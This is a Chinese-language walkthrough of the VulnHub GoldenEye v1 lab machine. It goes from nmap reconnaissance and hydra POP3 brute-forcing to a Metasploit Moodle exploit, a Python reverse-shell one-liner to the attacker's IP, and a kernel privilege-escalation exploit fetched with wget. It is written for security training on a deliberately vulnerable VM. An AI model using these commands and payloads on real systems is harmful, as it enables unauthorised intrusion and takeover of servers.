VulnHub-Goldeneye_v1靶场实操
Goldeneye靶场实操
靶场信息
下载靶机后用vm打开即可
goldeneye靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/
靶机发布日期:2018年5月4日
靶机描述:靶机命名来自詹士邦系列的电影——GoldenEye
目标:得到root权限&找到flag.txt
kali:192.168.1.131
靶机:192.168.1.141
信息收集
打开靶场和kali,使用kali扫描靶场的ip
首先ifconfig查看本机的ip地址
ifconfig -a
然后使用nmap扫描与kali同一网段的IP,可以找到靶场的ip地址
nmap -sP 192.168.1.0/24
可以看到该靶机的域名
severnaya-station.com
和IP地址192.168.1.141
接下来打开浏览器访问该ip地址,这里可以看到访问靶场成功
可以发现想引导我们去到这个目录进行登录
然后我们访问这个目录,可以看到弹出登录窗口,但是我们并没有获取到任何的登录信息
我们返回前端界面查看源代码,尝试获取到登录信息,然后我们看到这里有一个js文件
接下来尝试访问这个js文件,发现这里有一段注释
译文:
//Boris,确保你更新了默认密码。
//我的消息来源说军情六处可能计划潜入。
//注意任何可疑的网络流量....
//
//我在下面给你编码p@ssword…
//
/ / & # 73; & # 110; & # 118; & # 105; & # 110; & # 99; & # 105; & # 98; & # 108; & # 101; & # 72; & # 97; & # 99; & # 107; & # 51; & # 114;
//
//顺便说一句,Natalya说她可以破解你的密码
通过这个注释我们可以得到两个人名
Boris
和Natalya
,我们猜测这两个人们很有可能就是这个用户名,然后我们还发现了一个经过html编码后的password
我们使用Burp suite进行解码后获取到明文密码InvincibleHack3r
在得到用户名和明文密码后我们再次回到这个登录窗口尝试进行登录,在将用户名小写后成功登录
我们将右侧信息进行翻译
译文:
“黄金眼”是苏联的绝密武器项目。既然你可以访问,你肯定拥有绝密许可,并有资格成为一名经过认证的金眼网络操作员(GNO)。
请发送电子邮件给合格的GNO主管,以接受在线GoldenEye操作员培训,成为GoldenEye系统的管理员
请记住,由于隐藏安全性非常有效,因此我们已将pop3服务配置为在非常高的非默认端口上运行
接下来我们对靶机的IP端口进行扫描,找到开启了pop3的端口
nmap -sV -p- 192.168.1.141
发现了有两个端口
55006
、55007
开启了pop3服务
获取到了端口后,我们尝试使用hydra进行爆破pop3的登录密码
首先我们先创建一个存储用户名的文档BKN.txt
然后使用kali自带的密码本进行爆破
hydra -L BKN.txt -P /usr/share/wordlists/fasttrack.txt 192.168.1.141 -s 55007 pop3
账号
natalya
密码bird
账号
boris
密码secret1!
然后我们使用nc登录pop3尝试获取信息
nc 192.168.1.141 55007
user boris //用户boris
pass secret1! //密码secret1!
list //列出所有邮件
我们能够发现一共有三封邮件
查看第一封
retr 1 //查看邮件1
译文:
鲍里斯,我是管理员。你可以在这里与同事和学生进行电子交流。我不会扫描邮件的安全风险,因为我信任你和其他管理员。
这是管理员发给Boris的邮件,并没有发现什么有用的信息,继续查看第二封
查看第二封
译文:
鲍里斯,我能破解你的密码!
这个是Natalya发给Boris的邮件,同样也没有什么信息,继续查看第三封
查看第三封
译文:
鲍里斯,
你和我们集团的合作会有大回报的。附件是GoldenEye的最终访问码。将它们放在该服务器根目录下的隐藏文件中,然后从此电子邮件中删除。这些访问码只能有一组,我们需要为最后的执行保护它们。如果他们被抓回来,我们的计划就完蛋了!
一旦Xenia获得访问培训网站,并成为熟悉的黄金眼终端代码,我们将推动到我们的最后阶段....
注意安全,否则我们会受到威胁。
这里发现了一个新的用户Xenia,除此之外没有别的信息了
我们登录Natalya的pop3,看看是否有新的信息
nc 192.168.1.141 55007
user natalya //用户natalya
pass bird //密码bird
list //列出所有邮件
发现一共有两封邮件
查看第一封邮件
retr 1 //查看邮件1
译文:
娜塔莉亚,求你别再破解鲍里斯的密码了。同时,你也是GNO的培训主管。一旦指定学生给你,我会给你发邮件。
此外,要小心可能的网络破坏。我们有情报说黄金眼被一个叫雅努斯的犯罪集团盯上了。
这是管理员发给Natalya的邮件,并没有发现什么有用的信息,继续查看第二封
查看第二封邮件
retr 2 //查看邮件2
译文:
好的,Natalyn,我给你介绍了一个新学生。由于这是一个新系统,如果你看到任何配置问题,特别是与安全相关的问题,请告诉我或boris…即使不是,也可以打着“安全”的幌子输入……它将使更改订单升级,而不会有太多麻烦:)
好的,用户信用是:
用户名:xenia
密码:RCP90rulez!
鲍里斯证实她是一个有效的承包商所以创建一个账户,好吗?
如果你没有URL在我们的内部域名:severnaya-station.com/gnocertdir
**请确保编辑您的主机文件,因为您通常工作远程离网....
由于您是Linux用户,只需将此服务器的IP指向/etc/hosts.中的severnaya-station.com
在这个邮件中发现了一个用户名
xenia
和密码RCP90rulez!
,以及一个地址:severnaya-station.com/gnocertdir
,并且提示我们前往/etc/hosts
文件中添加severnaya-station.com
域名
接下来我们前往/etc/hosts添加域名
添加成功后我们访问这个地址severnaya-station.com/gnocertdir
发现这是一个Moodle的cms系统,然后看到右上角有登录按钮,我们尝试用上面获取到的用户名密码进行登录
登录成功
然后我们看看能否找到一些信息
我们在messages中发现了一个新的用户Doak
接下来尝试使用hydra爆破一下Doak的pop3账号密码
hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.1.141 -s 55007 pop3
//-l 小写 指定用户
//-L 大写 指定用户字典
成功破解
接下来我们尝试登录Doak的pop3收集信息
nc 192.168.1.141 55007
user doak //用户doak
pass goat //密码goat
list //列出所有邮件
查看邮件后成功获取到Doak的账号和密码
retr 1 //查看邮件1
译文:
詹姆斯,
如果你正在读这篇文章,恭喜你已经走了这么远。你知道谍报技术是怎么运作的吧?
因为我不知道。去我们的培训网站,登录我的账户....挖掘,直到你可以泄漏更多的信息......
用户名:dr_doak
密码:4England!
接下来用获取到的账号和密码进行登录
登录成功!
然后我们发现了管理员admin用户,接下来继续收集信息,尝试找到管理员用户的密码
然后在文件这里发现了一个txt文件
打开后可以看到其中告诉了我们一些信息
译文:
007年,
我能够通过clear txt捕获这个应用程序的adm1n cr3ds。
GoldenEye服务器中的大多数web应用程序中的文本都是扫描的,所以我不能在这里添加cr3dential。
这里有一些有趣的东西:/dir007key/for-007.jpg
此外,你可能知道,RCP-90是远远优于任何其他武器和执照杀人是唯一的方式玩。
接下来打开/dir007key/for-007.jpg
我们使用wget将这个图片下载下来
一般情况下图片都有可能采用了隐写,在我们使用的kali中自带的有三种隐写工具
1.binwalk(路由逆向分析工具)
2.exiftool(图虫)
3.strings(识别动态库版本指令)
首先我们使用binwalk查看图片中是否隐藏了别的特殊文件
binwalk for-007.jpg //binwalk <图片路径>
接下来我们使用exiftool可以查看图片的修改记录以及时间
exiftool for-007.jpg //exiftool <图片路径>
可以发现其中有一个记录比较特殊,是经过base64加密过的一段信息
我们使用burp suite对这段密文进行解密
获得明文密码:xWinter1995x!
然后我们猜测这个密码有可能就是上面提及的管理员admin的密码,接下来我们尝试进行登录
登录成功后开始收集信息,并没有收集到什么东西,然后我们发现这里显示这个Moodle是2.2.3版本
漏洞利用
在我们成功登录到管理员admin用户后,进行getshell去拿到服务器权限的shell,这里我找到了两种方法
首先是第一种方法,我到网上搜索后发现Moodle2.2.3版本存在CVE-2013-3630漏洞
知道存在漏洞之后我们就去利用这个漏洞
我们在这里使用kali自带的exp集成化工具msf,查询是否存在可利用的exploit
msfconsole //进入msf框架攻击界面
查找可以利用的moodle
search moodle //查找moodle类型 攻击的模块
选择moodle后查看需要配置哪些信息,进行配置
show options //查看需要填写什么
set username admin //设置用户名:admin
set password xWinter1995x! //设置密码:xWinter1995x!
set rhost severnaya-station.com //设置:rhosts severnaya-station.com
set targeturi /gnocertdir/ //设置目录:/gnocertdir/
show options
填写好信息后,我们使用这个攻击的脚本去攻击对方,对方会回弹一个会话,我们需要去接收这个会话,因此需要配置一个payload
set payload cmd/unix/reverse //设置payload
然后我们在配置一个本地IP,使本机接收这个返回的信息
set lhost 192.168.1.131 //设置本地IP
然后运行
run //运行
在这里一直尝试,发现失败了,然后通过上网查资料得知msf中这个exp源码,拼写引擎为PSpellShell,靶机系统界面默认是google spell,要将靶机系统上修改为PSpellShell
将靶机上的Google spell修改为PSpellShell
修改完之后发现运行成功,并且看到靶机与本机的4444端口建立了交互
成功获得shell
执行tty,因为获得的权限无框架
python -c 'import pty; pty.spawn("/bin/bash")' //获取的权限没有linux框架
第二种方法,我们在靶机的sever服务中可以看到这里可以执行python
然后我们去在这里去执行一句话反弹
python -c 'import socket,subprocess,os;s=socket.socket(
socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.131",6666));os.dup2(
s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' //python反弹shell
然后在kali上建立监听
接着我们在靶机上找到这个写邮件的地方去触发这个命令
然后我们就能看到在kali上成功与靶机建立了伪shell
然后在运行这个命令就能建立一个正常的tty
python -c 'import pty; pty.spawn("/bin/bash")'
内核提权
首先看一下我们的版本
然后我们可以找到这个版本的攻击脚本CVE-2015-1328
浏览一下这个脚本,可以发现这个脚本是支持gcc编译的
然后我们测试一下靶机是否支持gcc,然后发现并不支持,但是支持cc编译,那我们就需要将脚本文件中的gcc改成cc
接下来我们在kali主机中查看是否存在这个脚本
searchsploit 37292 //搜索kali本地的exp库中37292攻击脚本信息
成功在漏洞库中找到这个漏洞
然后我们将这个.c文件复制出来
cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/ggboy/Users/ //将37292.c文件复制到/home/ggboy/Users/ 目录下
在运行这个文件之前需要将其中的gcc改成cc
然后我们在本地开启一个8081端口的http服务
python -m http.server 8081
然后远程控制靶机下载脚本
wget http://192.168.1.131:8081/37292.c
接下来进行编译该文件
cc 37292.c -o bkn //编译37292.c文件成可执行文件bkn
运行该文件,成功提权为root权限
./bkn //打开bkn文件
紧接着我们来到root路径下,然后可以发现文件被隐藏了,然后可以找到其中的.flag.txt
成功获取到flag:
568628e0d993b1973adc718237da6e93
总结
我们通过使用对前端的信息收集、nmap的端口扫描、html和base64的实体解码以及exiftool对图片隐写的处理进行了整体的信息收集。
再接着使用hydra暴力破解用户的pop3密码、利用exp集成化工具msf获取getshell,最后在利用内核溢出漏洞进行提权。